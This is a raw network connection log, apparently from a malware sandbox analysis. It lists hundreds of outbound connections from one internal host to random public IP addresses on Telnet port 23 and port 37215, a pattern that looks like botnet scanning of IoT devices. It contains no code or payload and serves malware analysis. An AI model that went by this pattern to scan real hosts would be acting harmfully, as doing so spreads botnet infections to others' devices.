Oct 14, 2024 17:34:13.105206013 CEST	29625	37215	192.168.2.14	156.61.225.247
Oct 14, 2024 17:34:13.105233908 CEST	29508	23	192.168.2.14	5.18.183.4
Oct 14, 2024 17:34:13.105233908 CEST	29508	23	192.168.2.14	79.224.110.106
Oct 14, 2024 17:34:13.105237007 CEST	29625	37215	192.168.2.14	41.219.35.108
Oct 14, 2024 17:34:13.105237007 CEST	29508	23	192.168.2.14	158.220.210.253
Oct 14, 2024 17:34:13.105237007 CEST	29625	37215	192.168.2.14	41.98.164.4
Oct 14, 2024 17:34:13.105237007 CEST	29625	37215	192.168.2.14	156.121.146.28
Oct 14, 2024 17:34:13.105237007 CEST	29625	37215	192.168.2.14	197.87.135.181
Oct 14, 2024 17:34:13.105242968 CEST	29508	23	192.168.2.14	97.10.253.117
Oct 14, 2024 17:34:13.105242968 CEST	29625	37215	192.168.2.14	156.127.247.25
Oct 14, 2024 17:34:13.105242968 CEST	29508	23	192.168.2.14	54.105.143.44
Oct 14, 2024 17:34:13.105242968 CEST	29625	37215	192.168.2.14	156.176.174.118
Oct 14, 2024 17:34:13.105242968 CEST	29625	37215	192.168.2.14	197.45.178.200
Oct 14, 2024 17:34:13.105242968 CEST	29625	37215	192.168.2.14	197.176.10.133
Oct 14, 2024 17:34:13.105242968 CEST	29508	23	192.168.2.14	92.67.118.28
Oct 14, 2024 17:34:13.105258942 CEST	29508	23	192.168.2.14	211.105.53.139
Oct 14, 2024 17:34:13.105258942 CEST	29508	23	192.168.2.14	73.161.86.216
Oct 14, 2024 17:34:13.105258942 CEST	29508	23	192.168.2.14	108.68.21.103
Oct 14, 2024 17:34:13.105273008 CEST	29508	23	192.168.2.14	150.48.161.236
Oct 14, 2024 17:34:13.105273008 CEST	29625	37215	192.168.2.14	41.28.143.234
Oct 14, 2024 17:34:13.105273008 CEST	29625	37215	192.168.2.14	41.213.239.11
Oct 14, 2024 17:34:13.105273008 CEST	29508	23	192.168.2.14	114.184.161.251
Oct 14, 2024 17:34:13.105303049 CEST	29508	23	192.168.2.14	182.0.98.185
Oct 14, 2024 17:34:13.105303049 CEST	29508	23	192.168.2.14	79.249.147.164
Oct 14, 2024 17:34:13.105303049 CEST	29508	23	192.168.2.14	35.3.73.42
Oct 14, 2024 17:34:13.105303049 CEST	29508	23	192.168.2.14	189.46.117.136
Oct 14, 2024 17:34:13.105304003 CEST	29508	23	192.168.2.14	144.171.212.252
Oct 14, 2024 17:34:13.105304003 CEST	29508	23	192.168.2.14	81.233.118.239
Oct 14, 2024 17:34:13.105304956 CEST	29508	23	192.168.2.14	32.241.230.83
Oct 14, 2024 17:34:13.105304003 CEST	29508	23	192.168.2.14	135.150.159.247
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	152.171.247.160
Oct 14, 2024 17:34:13.105304003 CEST	29625	37215	192.168.2.14	41.42.199.10
Oct 14, 2024 17:34:13.105307102 CEST	29508	23	192.168.2.14	86.234.243.55
Oct 14, 2024 17:34:13.105308056 CEST	29508	23	192.168.2.14	69.114.206.7
Oct 14, 2024 17:34:13.105307102 CEST	29508	23	192.168.2.14	162.70.218.116
Oct 14, 2024 17:34:13.105305910 CEST	29625	37215	192.168.2.14	156.131.205.6
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	136.147.135.36
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	105.3.73.36
Oct 14, 2024 17:34:13.105305910 CEST	29625	37215	192.168.2.14	41.68.222.211
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	62.18.249.168
Oct 14, 2024 17:34:13.105314016 CEST	29625	37215	192.168.2.14	197.22.62.143
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	174.188.9.184
Oct 14, 2024 17:34:13.105304956 CEST	29508	23	192.168.2.14	62.97.118.0
Oct 14, 2024 17:34:13.105307102 CEST	29508	23	192.168.2.14	98.167.0.233
Oct 14, 2024 17:34:13.105308056 CEST	29625	37215	192.168.2.14	197.133.168.46
Oct 14, 2024 17:34:13.105304956 CEST	29508	23	192.168.2.14	197.10.152.76
Oct 14, 2024 17:34:13.105314016 CEST	29508	23	192.168.2.14	64.77.135.32
Oct 14, 2024 17:34:13.105305910 CEST	29625	37215	192.168.2.14	41.211.57.156
Oct 14, 2024 17:34:13.105305910 CEST	29625	37215	192.168.2.14	156.181.27.99
Oct 14, 2024 17:34:13.105314016 CEST	29508	23	192.168.2.14	211.179.46.70
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	221.248.126.120
Oct 14, 2024 17:34:13.105308056 CEST	29508	23	192.168.2.14	179.6.34.123
Oct 14, 2024 17:34:13.105307102 CEST	29508	23	192.168.2.14	106.26.199.34
Oct 14, 2024 17:34:13.105305910 CEST	29625	37215	192.168.2.14	156.16.238.220
Oct 14, 2024 17:34:13.105308056 CEST	29508	23	192.168.2.14	153.137.135.49
Oct 14, 2024 17:34:13.105305910 CEST	29625	37215	192.168.2.14	197.231.200.18
Oct 14, 2024 17:34:13.105304956 CEST	29625	37215	192.168.2.14	156.115.251.95
Oct 14, 2024 17:34:13.105314016 CEST	29625	37215	192.168.2.14	156.89.193.101
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	41.44.149.196
Oct 14, 2024 17:34:13.105314016 CEST	29625	37215	192.168.2.14	197.79.148.118
Oct 14, 2024 17:34:13.105308056 CEST	29508	23	192.168.2.14	216.59.111.24
Oct 14, 2024 17:34:13.105307102 CEST	29625	37215	192.168.2.14	41.210.183.222
Oct 14, 2024 17:34:13.105308056 CEST	29625	37215	192.168.2.14	41.229.39.46
Oct 14, 2024 17:34:13.105314016 CEST	29625	37215	192.168.2.14	41.136.71.72
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	136.169.119.180
Oct 14, 2024 17:34:13.105307102 CEST	29508	23	192.168.2.14	113.201.109.51
Oct 14, 2024 17:34:13.105308056 CEST	29625	37215	192.168.2.14	156.245.56.56
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	169.226.133.222
Oct 14, 2024 17:34:13.105308056 CEST	29508	23	192.168.2.14	17.206.216.209
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	97.169.85.233
Oct 14, 2024 17:34:13.105307102 CEST	29508	23	192.168.2.14	219.121.158.49
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	14.75.217.189
Oct 14, 2024 17:34:13.105304956 CEST	29508	23	192.168.2.14	182.113.161.221
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	130.232.135.155
Oct 14, 2024 17:34:13.105304956 CEST	29508	23	192.168.2.14	52.105.220.1
Oct 14, 2024 17:34:13.105314016 CEST	29508	23	192.168.2.14	168.31.115.6
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	17.52.158.150
Oct 14, 2024 17:34:13.105340958 CEST	29508	23	192.168.2.14	200.10.63.211
Oct 14, 2024 17:34:13.105307102 CEST	29508	23	192.168.2.14	2.146.31.118
Oct 14, 2024 17:34:13.105305910 CEST	29625	37215	192.168.2.14	197.55.99.59
Oct 14, 2024 17:34:13.105305910 CEST	29625	37215	192.168.2.14	41.56.174.130
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	159.20.163.122
Oct 14, 2024 17:34:13.105314016 CEST	29508	23	192.168.2.14	184.149.229.223
Oct 14, 2024 17:34:13.105305910 CEST	29625	37215	192.168.2.14	41.170.198.228
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	50.94.62.17
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	131.190.36.133
Oct 14, 2024 17:34:13.105305910 CEST	29508	23	192.168.2.14	154.80.115.251
Oct 14, 2024 17:34:13.105353117 CEST	29625	37215	192.168.2.14	41.70.174.127
Oct 14, 2024 17:34:13.105353117 CEST	29508	23	192.168.2.14	95.176.41.220
Oct 14, 2024 17:34:13.105353117 CEST	29508	23	192.168.2.14	175.147.54.139
Oct 14, 2024 17:34:13.105353117 CEST	29625	37215	192.168.2.14	156.44.155.97
Oct 14, 2024 17:34:13.105354071 CEST	29508	23	192.168.2.14	179.249.119.170
Oct 14, 2024 17:34:13.105354071 CEST	29625	37215	192.168.2.14	197.19.185.196
Oct 14, 2024 17:34:13.105354071 CEST	29508	23	192.168.2.14	76.252.96.104
Oct 14, 2024 17:34:13.105354071 CEST	29625	37215	192.168.2.14	41.253.203.14
Oct 14, 2024 17:34:13.105354071 CEST	29508	23	192.168.2.14	212.64.123.123
Oct 14, 2024 17:34:13.105354071 CEST	29625	37215	192.168.2.14	41.118.84.213
Oct 14, 2024 17:34:13.105354071 CEST	29508	23	192.168.2.14	53.207.68.3
Oct 14, 2024 17:34:13.105357885 CEST	29625	37215	192.168.2.14	41.71.12.59
Oct 14, 2024 17:34:13.105354071 CEST	29508	23	192.168.2.14	79.63.240.174
Oct 14, 2024 17:34:13.105357885 CEST	29508	23	192.168.2.14	183.24.24.124
Oct 14, 2024 17:34:13.105354071 CEST	29508	23	192.168.2.14	64.91.199.231
Oct 14, 2024 17:34:13.105357885 CEST	29508	23	192.168.2.14	63.109.72.219
Oct 14, 2024 17:34:13.105357885 CEST	29625	37215	192.168.2.14	41.245.126.15
Oct 14, 2024 17:34:13.105361938 CEST	29508	23	192.168.2.14	76.195.1.154
Oct 14, 2024 17:34:13.105458021 CEST	29625	37215	192.168.2.14	197.232.105.11
Oct 14, 2024 17:34:13.105458021 CEST	29625	37215	192.168.2.14	156.144.71.33
Oct 14, 2024 17:34:13.105458021 CEST	29508	23	192.168.2.14	161.46.68.125
Oct 14, 2024 17:34:13.105458021 CEST	29508	23	192.168.2.14	189.149.7.79
Oct 14, 2024 17:34:13.105458021 CEST	29508	23	192.168.2.14	190.168.76.178
Oct 14, 2024 17:34:13.105458975 CEST	29625	37215	192.168.2.14	197.39.95.225
Oct 14, 2024 17:34:13.105458021 CEST	29625	37215	192.168.2.14	41.206.132.35
Oct 14, 2024 17:34:13.105459929 CEST	29508	23	192.168.2.14	67.155.250.250
Oct 14, 2024 17:34:13.105458975 CEST	29508	23	192.168.2.14	179.82.0.155
Oct 14, 2024 17:34:13.105458975 CEST	29508	23	192.168.2.14	49.108.235.19
Oct 14, 2024 17:34:13.105458975 CEST	29625	37215	192.168.2.14	41.113.137.196
Oct 14, 2024 17:34:13.105458975 CEST	29625	37215	192.168.2.14	156.94.204.252
Oct 14, 2024 17:34:13.105458975 CEST	29625	37215	192.168.2.14	156.10.35.91
Oct 14, 2024 17:34:13.105458975 CEST	29508	23	192.168.2.14	156.69.1.140
Oct 14, 2024 17:34:13.105458975 CEST	29508	23	192.168.2.14	72.136.97.46
Oct 14, 2024 17:34:13.105465889 CEST	29508	23	192.168.2.14	43.20.161.48
Oct 14, 2024 17:34:13.105458021 CEST	29508	23	192.168.2.14	50.84.110.6
Oct 14, 2024 17:34:13.105458975 CEST	29625	37215	192.168.2.14	41.217.90.31
Oct 14, 2024 17:34:13.105459929 CEST	29508	23	192.168.2.14	1.203.66.177
Oct 14, 2024 17:34:13.105458975 CEST	29508	23	192.168.2.14	64.241.138.217
Oct 14, 2024 17:34:13.105465889 CEST	29508	23	192.168.2.14	188.148.187.36
Oct 14, 2024 17:34:13.105459929 CEST	29508	23	192.168.2.14	132.192.151.127
Oct 14, 2024 17:34:13.105465889 CEST	29508	23	192.168.2.14	78.178.97.24
Oct 14, 2024 17:34:13.105459929 CEST	29625	37215	192.168.2.14	41.133.194.209
Oct 14, 2024 17:34:13.105462074 CEST	29508	23	192.168.2.14	52.178.31.216
Oct 14, 2024 17:34:13.105459929 CEST	29508	23	192.168.2.14	49.143.196.254
Oct 14, 2024 17:34:13.105458975 CEST	29625	37215	192.168.2.14	41.11.244.239
Oct 14, 2024 17:34:13.105465889 CEST	29508	23	192.168.2.14	153.158.71.16
Oct 14, 2024 17:34:13.105460882 CEST	29508	23	192.168.2.14	116.131.245.38
Oct 14, 2024 17:34:13.105458021 CEST	29508	23	192.168.2.14	88.96.13.3
Oct 14, 2024 17:34:13.105460882 CEST	29508	23	192.168.2.14	41.16.138.141
Oct 14, 2024 17:34:13.105465889 CEST	29625	37215	192.168.2.14	197.163.251.230
Oct 14, 2024 17:34:13.105458975 CEST	29625	37215	192.168.2.14	156.140.4.89
Oct 14, 2024 17:34:13.105458975 CEST	29508	23	192.168.2.14	142.17.97.167
Oct 14, 2024 17:34:13.105459929 CEST	29508	23	192.168.2.14	102.172.155.98
Oct 14, 2024 17:34:13.105458975 CEST	29508	23	192.168.2.14	138.15.74.164
Oct 14, 2024 17:34:13.105459929 CEST	29508	23	192.168.2.14	39.74.235.31
Oct 14, 2024 17:34:13.105483055 CEST	29508	23	192.168.2.14	178.217.4.114
Oct 14, 2024 17:34:13.105458975 CEST	29508	23	192.168.2.14	160.234.82.90
Oct 14, 2024 17:34:13.105459929 CEST	29625	37215	192.168.2.14	197.235.183.109
Oct 14, 2024 17:34:13.105460882 CEST	29508	23	192.168.2.14	41.139.194.252
Oct 14, 2024 17:34:13.105462074 CEST	29625	37215	192.168.2.14	156.215.97.190
Oct 14, 2024 17:34:13.105465889 CEST	29508	23	192.168.2.14	130.68.15.94
Oct 14, 2024 17:34:13.105462074 CEST	29508	23	192.168.2.14	97.96.200.41
Oct 14, 2024 17:34:13.105458975 CEST	29625	37215	192.168.2.14	156.153.200.202
Oct 14, 2024 17:34:13.105462074 CEST	29508	23	192.168.2.14	67.21.227.108
Oct 14, 2024 17:34:13.105465889 CEST	29508	23	192.168.2.14	62.150.87.98
Oct 14, 2024 17:34:13.105462074 CEST	29508	23	192.168.2.14	150.108.235.103
Oct 14, 2024 17:34:13.105483055 CEST	29508	23	192.168.2.14	83.49.80.145
Oct 14, 2024 17:34:13.105460882 CEST	29625	37215	192.168.2.14	197.177.79.118
Oct 14, 2024 17:34:13.105458975 CEST	29508	23	192.168.2.14	168.156.129.211
Oct 14, 2024 17:34:13.105465889 CEST	29508	23	192.168.2.14	105.68.56.198
Oct 14, 2024 17:34:13.105483055 CEST	29625	37215	192.168.2.14	197.48.43.81
Oct 14, 2024 17:34:13.105458975 CEST	29508	23	192.168.2.14	85.53.84.129
Oct 14, 2024 17:34:13.105462074 CEST	29508	23	192.168.2.14	181.209.81.61
Oct 14, 2024 17:34:13.105460882 CEST	29508	23	192.168.2.14	83.135.162.111
Oct 14, 2024 17:34:13.105462074 CEST	29508	23	192.168.2.14	86.109.14.28
Oct 14, 2024 17:34:13.105492115 CEST	29625	37215	192.168.2.14	41.81.85.10
Oct 14, 2024 17:34:13.105462074 CEST	29508	23	192.168.2.14	87.175.81.28
Oct 14, 2024 17:34:13.105458975 CEST	29625	37215	192.168.2.14	156.205.86.167
Oct 14, 2024 17:34:13.105500937 CEST	29508	23	192.168.2.14	173.73.199.11
Oct 14, 2024 17:34:13.105501890 CEST	29625	37215	192.168.2.14	156.107.70.195
Oct 14, 2024 17:34:13.105500937 CEST	29508	23	192.168.2.14	1.189.1.33
Oct 14, 2024 17:34:13.105492115 CEST	29508	23	192.168.2.14	156.170.6.24
Oct 14, 2024 17:34:13.105500937 CEST	29508	23	192.168.2.14	177.235.52.250
Oct 14, 2024 17:34:13.105501890 CEST	29625	37215	192.168.2.14	41.93.80.191
Oct 14, 2024 17:34:13.105506897 CEST	29508	23	192.168.2.14	107.192.214.159
Oct 14, 2024 17:34:13.105501890 CEST	29508	23	192.168.2.14	74.33.232.169
Oct 14, 2024 17:34:13.105500937 CEST	29625	37215	192.168.2.14	197.120.97.201
Oct 14, 2024 17:34:13.105506897 CEST	29625	37215	192.168.2.14	156.132.151.213
Oct 14, 2024 17:34:13.105504036 CEST	29625	37215	192.168.2.14	41.232.107.215
Oct 14, 2024 17:34:13.105506897 CEST	29508	23	192.168.2.14	119.23.89.245
Oct 14, 2024 17:34:13.105505943 CEST	29508	23	192.168.2.14	122.16.207.170
Oct 14, 2024 17:34:13.105492115 CEST	29625	37215	192.168.2.14	197.45.253.148
Oct 14, 2024 17:34:13.105500937 CEST	29508	23	192.168.2.14	166.235.203.242
Oct 14, 2024 17:34:13.105506897 CEST	29625	37215	192.168.2.14	41.209.240.222
Oct 14, 2024 17:34:13.105500937 CEST	29625	37215	192.168.2.14	156.16.247.88
Oct 14, 2024 17:34:13.105505943 CEST	29508	23	192.168.2.14	187.73.127.81
Oct 14, 2024 17:34:13.105492115 CEST	29508	23	192.168.2.14	143.24.43.114
Oct 14, 2024 17:34:13.105500937 CEST	29508	23	192.168.2.14	165.208.27.58
Oct 14, 2024 17:34:13.105492115 CEST	29508	23	192.168.2.14	170.48.65.93
Oct 14, 2024 17:34:13.105501890 CEST	29625	37215	192.168.2.14	156.48.173.88
Oct 14, 2024 17:34:13.105504036 CEST	29508	23	192.168.2.14	128.131.169.118
Oct 14, 2024 17:34:13.105501890 CEST	29625	37215	192.168.2.14	197.238.40.201
Oct 14, 2024 17:34:13.105506897 CEST	29508	23	192.168.2.14	208.249.102.109
Oct 14, 2024 17:34:13.105504036 CEST	29508	23	192.168.2.14	195.66.134.113
Oct 14, 2024 17:34:13.105506897 CEST	29508	23	192.168.2.14	90.52.218.31
Oct 14, 2024 17:34:13.105504036 CEST	29625	37215	192.168.2.14	41.125.193.138
Oct 14, 2024 17:34:13.105503082 CEST	29625	37215	192.168.2.14	156.165.81.155
Oct 14, 2024 17:34:13.105506897 CEST	29625	37215	192.168.2.14	197.254.214.24
Oct 14, 2024 17:34:13.105503082 CEST	29625	37215	192.168.2.14	41.209.220.141
Oct 14, 2024 17:34:13.105506897 CEST	29625	37215	192.168.2.14	41.225.54.51
Oct 14, 2024 17:34:13.105525017 CEST	29508	23	192.168.2.14	120.129.139.238
Oct 14, 2024 17:34:13.105525017 CEST	29508	23	192.168.2.14	120.136.39.253
Oct 14, 2024 17:34:13.105525017 CEST	29625	37215	192.168.2.14	41.215.37.222
Oct 14, 2024 17:34:13.105506897 CEST	29625	37215	192.168.2.14	41.17.55.204
Oct 14, 2024 17:34:13.105525017 CEST	29625	37215	192.168.2.14	197.181.152.103
Oct 14, 2024 17:34:13.105530977 CEST	29625	37215	192.168.2.14	41.122.2.201
Oct 14, 2024 17:34:13.105503082 CEST	29508	23	192.168.2.14	166.164.240.255
Oct 14, 2024 17:34:13.105525017 CEST	29508	23	192.168.2.14	49.134.2.141
Oct 14, 2024 17:34:13.105506897 CEST	29625	37215	192.168.2.14	41.204.243.119
Oct 14, 2024 17:34:13.105530977 CEST	29508	23	192.168.2.14	67.73.118.58
Oct 14, 2024 17:34:13.105525017 CEST	29508	23	192.168.2.14	126.194.81.17
Oct 14, 2024 17:34:13.105503082 CEST	29625	37215	192.168.2.14	197.17.226.188
Oct 14, 2024 17:34:13.105506897 CEST	29508	23	192.168.2.14	198.187.120.185
Oct 14, 2024 17:34:13.105530977 CEST	29508	23	192.168.2.14	99.53.57.48
Oct 14, 2024 17:34:13.105525017 CEST	29508	23	192.168.2.14	88.169.253.226
Oct 14, 2024 17:34:13.105530977 CEST	29625	37215	192.168.2.14	197.237.27.210
Oct 14, 2024 17:34:13.105506897 CEST	29508	23	192.168.2.14	75.202.200.87
Oct 14, 2024 17:34:13.105530977 CEST	29508	23	192.168.2.14	207.0.104.122
Oct 14, 2024 17:34:13.105506897 CEST	29508	23	192.168.2.14	111.234.88.143
Oct 14, 2024 17:34:13.105506897 CEST	29508	23	192.168.2.14	142.90.162.197
Oct 14, 2024 17:34:13.105530977 CEST	29625	37215	192.168.2.14	197.121.123.115
Oct 14, 2024 17:34:13.105506897 CEST	29508	23	192.168.2.14	99.38.52.219
Oct 14, 2024 17:34:13.105540991 CEST	29625	37215	192.168.2.14	41.213.82.175
Oct 14, 2024 17:34:13.105506897 CEST	29508	23	192.168.2.14	101.195.205.168
Oct 14, 2024 17:34:13.105540991 CEST	29625	37215	192.168.2.14	197.249.129.188
Oct 14, 2024 17:34:13.105540991 CEST	29625	37215	192.168.2.14	197.108.13.144
Oct 14, 2024 17:34:13.105540991 CEST	29625	37215	192.168.2.14	197.30.130.150
Oct 14, 2024 17:34:13.105540991 CEST	29508	23	192.168.2.14	212.225.50.206
Oct 14, 2024 17:34:13.105540991 CEST	29508	23	192.168.2.14	218.126.14.121
Oct 14, 2024 17:34:13.105540991 CEST	29625	37215	192.168.2.14	197.50.198.98
Oct 14, 2024 17:34:13.105540991 CEST	29508	23	192.168.2.14	179.15.46.173
Oct 14, 2024 17:34:13.105545044 CEST	29625	37215	192.168.2.14	156.12.133.83
Oct 14, 2024 17:34:13.105545044 CEST	29508	23	192.168.2.14	198.39.220.163
Oct 14, 2024 17:34:13.105545044 CEST	29508	23	192.168.2.14	121.240.133.3
Oct 14, 2024 17:34:13.105545044 CEST	29625	37215	192.168.2.14	156.14.40.3
Oct 14, 2024 17:34:13.105545044 CEST	29508	23	192.168.2.14	100.140.106.45
Oct 14, 2024 17:34:13.105546951 CEST	29508	23	192.168.2.14	67.233.134.42
Oct 14, 2024 17:34:13.105545044 CEST	29508	23	192.168.2.14	41.97.222.230
Oct 14, 2024 17:34:13.105546951 CEST	29508	23	192.168.2.14	133.166.180.119
Oct 14, 2024 17:34:13.105545044 CEST	29625	37215	192.168.2.14	156.22.52.31
Oct 14, 2024 17:34:13.105546951 CEST	29625	37215	192.168.2.14	41.143.138.10
Oct 14, 2024 17:34:13.105546951 CEST	29508	23	192.168.2.14	169.105.173.214
Oct 14, 2024 17:34:13.105546951 CEST	29508	23	192.168.2.14	117.91.114.229
Oct 14, 2024 17:34:13.105546951 CEST	29508	23	192.168.2.14	110.69.142.143
Oct 14, 2024 17:34:13.105546951 CEST	29508	23	192.168.2.14	129.222.219.124
Oct 14, 2024 17:34:13.105546951 CEST	29508	23	192.168.2.14	107.63.82.146
Oct 14, 2024 17:34:13.105552912 CEST	29625	37215	192.168.2.14	41.155.109.191
Oct 14, 2024 17:34:13.105552912 CEST	29508	23	192.168.2.14	61.252.157.232
Oct 14, 2024 17:34:13.105552912 CEST	29508	23	192.168.2.14	84.140.171.124
Oct 14, 2024 17:34:13.105552912 CEST	29625	37215	192.168.2.14	41.130.112.233
Oct 14, 2024 17:34:13.105552912 CEST	29508	23	192.168.2.14	8.222.124.112
Oct 14, 2024 17:34:13.105552912 CEST	29508	23	192.168.2.14	134.142.131.31
Oct 14, 2024 17:34:13.105552912 CEST	29625	37215	192.168.2.14	156.205.82.214
Oct 14, 2024 17:34:13.105552912 CEST	29625	37215	192.168.2.14	197.137.179.68
Oct 14, 2024 17:34:13.105556965 CEST	29508	23	192.168.2.14	165.182.41.46
Oct 14, 2024 17:34:13.105556965 CEST	29508	23	192.168.2.14	136.122.175.226
Oct 14, 2024 17:34:13.105562925 CEST	29508	23	192.168.2.14	221.50.40.247
Oct 14, 2024 17:34:13.105562925 CEST	29625	37215	192.168.2.14	41.34.123.191
Oct 14, 2024 17:34:13.105562925 CEST	29508	23	192.168.2.14	126.207.158.36
Oct 14, 2024 17:34:13.105562925 CEST	29508	23	192.168.2.14	90.84.206.182
Oct 14, 2024 17:34:13.105562925 CEST	29508	23	192.168.2.14	8.129.243.164
Oct 14, 2024 17:34:13.105562925 CEST	29508	23	192.168.2.14	93.88.155.58
Oct 14, 2024 17:34:13.105562925 CEST	29508	23	192.168.2.14	65.232.182.121
Oct 14, 2024 17:34:13.105562925 CEST	29625	37215	192.168.2.14	156.102.167.39
Oct 14, 2024 17:34:13.105566978 CEST	29508	23	192.168.2.14	203.215.118.212
Oct 14, 2024 17:34:13.105566978 CEST	29625	37215	192.168.2.14	197.8.36.27
Oct 14, 2024 17:34:13.105567932 CEST	29625	37215	192.168.2.14	197.223.205.204
Oct 14, 2024 17:34:13.105575085 CEST	29508	23	192.168.2.14	209.249.142.158
Oct 14, 2024 17:34:13.105575085 CEST	29508	23	192.168.2.14	97.146.93.250
Oct 14, 2024 17:34:13.105575085 CEST	29625	37215	192.168.2.14	156.68.28.24
Oct 14, 2024 17:34:13.105575085 CEST	29625	37215	192.168.2.14	197.160.12.248
Oct 14, 2024 17:34:13.105576038 CEST	29625	37215	192.168.2.14	41.72.180.205
Oct 14, 2024 17:34:13.105575085 CEST	29508	23	192.168.2.14	173.150.75.88
Oct 14, 2024 17:34:13.105576038 CEST	29625	37215	192.168.2.14	41.104.100.162
Oct 14, 2024 17:34:13.105577946 CEST	29508	23	192.168.2.14	91.225.100.143
Oct 14, 2024 17:34:13.105577946 CEST	29508	23	192.168.2.14	42.109.76.81
Oct 14, 2024 17:34:13.105577946 CEST	29625	37215	192.168.2.14	41.68.242.100
Oct 14, 2024 17:34:13.105577946 CEST	29508	23	192.168.2.14	179.246.129.150
Oct 14, 2024 17:34:13.105577946 CEST	29625	37215	192.168.2.14	156.0.137.43
Oct 14, 2024 17:34:13.105577946 CEST	29625	37215	192.168.2.14	156.11.46.130
Oct 14, 2024 17:34:13.105577946 CEST	29625	37215	192.168.2.14	156.100.164.223
Oct 14, 2024 17:34:13.105581045 CEST	29508	23	192.168.2.14	132.192.16.30
Oct 14, 2024 17:34:13.105577946 CEST	29508	23	192.168.2.14	2.105.151.119
Oct 14, 2024 17:34:13.105575085 CEST	29625	37215	192.168.2.14	197.137.174.75
Oct 14, 2024 17:34:13.105577946 CEST	29508	23	192.168.2.14	70.64.73.157
Oct 14, 2024 17:34:13.105576992 CEST	29508	23	192.168.2.14	96.186.155.44
Oct 14, 2024 17:34:13.105577946 CEST	29508	23	192.168.2.14	184.174.215.139
Oct 14, 2024 17:34:13.105581045 CEST	29508	23	192.168.2.14	146.61.121.227
Oct 14, 2024 17:34:13.105575085 CEST	29625	37215	192.168.2.14	197.243.187.217
Oct 14, 2024 17:34:13.105577946 CEST	29508	23	192.168.2.14	60.38.143.60
Oct 14, 2024 17:34:13.105575085 CEST	29625	37215	192.168.2.14	156.54.177.84
Oct 14, 2024 17:34:13.105577946 CEST	29508	23	192.168.2.14	201.155.20.112
Oct 14, 2024 17:34:13.105581045 CEST	29508	23	192.168.2.14	86.97.29.150
Oct 14, 2024 17:34:13.105577946 CEST	29508	23	192.168.2.14	141.84.33.219
Oct 14, 2024 17:34:13.105577946 CEST	29625	37215	192.168.2.14	197.184.213.235
Oct 14, 2024 17:34:13.105577946 CEST	29625	37215	192.168.2.14	41.113.166.34
Oct 14, 2024 17:34:13.105576992 CEST	29625	37215	192.168.2.14	41.168.234.36
Oct 14, 2024 17:34:13.105597019 CEST	29508	23	192.168.2.14	73.24.9.85
Oct 14, 2024 17:34:13.105577946 CEST	29625	37215	192.168.2.14	156.161.97.213
Oct 14, 2024 17:34:13.105577946 CEST	29625	37215	192.168.2.14	197.61.156.108
Oct 14, 2024 17:34:13.105597973 CEST	29625	37215	192.168.2.14	41.117.99.214
Oct 14, 2024 17:34:13.105577946 CEST	29508	23	192.168.2.14	110.109.202.5
Oct 14, 2024 17:34:13.105577946 CEST	29625	37215	192.168.2.14	41.184.168.222
Oct 14, 2024 17:34:13.105581045 CEST	29508	23	192.168.2.14	165.251.55.183
Oct 14, 2024 17:34:13.105577946 CEST	29508	23	192.168.2.14	81.87.45.187
Oct 14, 2024 17:34:13.105577946 CEST	29508	23	192.168.2.14	119.117.250.167
Oct 14, 2024 17:34:13.105577946 CEST	29625	37215	192.168.2.14	41.148.42.202
Oct 14, 2024 17:34:13.105597973 CEST	29508	23	192.168.2.14	151.122.128.20
Oct 14, 2024 17:34:13.105581045 CEST	29508	23	192.168.2.14	118.24.236.7
Oct 14, 2024 17:34:13.105597973 CEST	29625	37215	192.168.2.14	156.137.210.133
Oct 14, 2024 17:34:13.105577946 CEST	29625	37215	192.168.2.14	197.66.153.178
Oct 14, 2024 17:34:13.105577946 CEST	29508	23	192.168.2.14	95.220.200.144
Oct 14, 2024 17:34:13.105577946 CEST	29625	37215	192.168.2.14	41.251.158.156
Oct 14, 2024 17:34:13.105581045 CEST	29508	23	192.168.2.14	194.177.197.191
Oct 14, 2024 17:34:13.105578899 CEST	29508	23	192.168.2.14	34.12.192.206
Oct 14, 2024 17:34:13.105577946 CEST	29508	23	192.168.2.14	37.101.35.79
Oct 14, 2024 17:34:13.105611086 CEST	29508	23	192.168.2.14	192.125.40.11
Oct 14, 2024 17:34:13.105581045 CEST	29625	37215	192.168.2.14	197.20.252.166
Oct 14, 2024 17:34:13.105577946 CEST	29625	37215	192.168.2.14	197.240.9.212
Oct 14, 2024 17:34:13.105581045 CEST	29625	37215	192.168.2.14	156.25.15.170
Oct 14, 2024 17:34:13.105578899 CEST	29508	23	192.168.2.14	19.91.197.134
Oct 14, 2024 17:34:13.105578899 CEST	29508	23	192.168.2.14	107.123.231.220
Oct 14, 2024 17:34:13.105578899 CEST	29508	23	192.168.2.14	82.80.71.220
Oct 14, 2024 17:34:13.105618000 CEST	29508	23	192.168.2.14	18.154.45.220
Oct 14, 2024 17:34:13.105618000 CEST	29508	23	192.168.2.14	1.169.31.107
Oct 14, 2024 17:34:13.105618000 CEST	29508	23	192.168.2.14	62.67.189.211
Oct 14, 2024 17:34:13.105618000 CEST	29508	23	192.168.2.14	168.78.255.198
Oct 14, 2024 17:34:13.105618000 CEST	29625	37215	192.168.2.14	41.84.46.220
Oct 14, 2024 17:34:13.105619907 CEST	29508	23	192.168.2.14	68.52.64.198
Oct 14, 2024 17:34:13.105619907 CEST	29625	37215	192.168.2.14	41.182.62.185
Oct 14, 2024 17:34:13.105619907 CEST	29508	23	192.168.2.14	140.18.149.37
Oct 14, 2024 17:34:13.105619907 CEST	29508	23	192.168.2.14	60.23.90.28
Oct 14, 2024 17:34:13.105619907 CEST	29625	37215	192.168.2.14	156.145.118.56
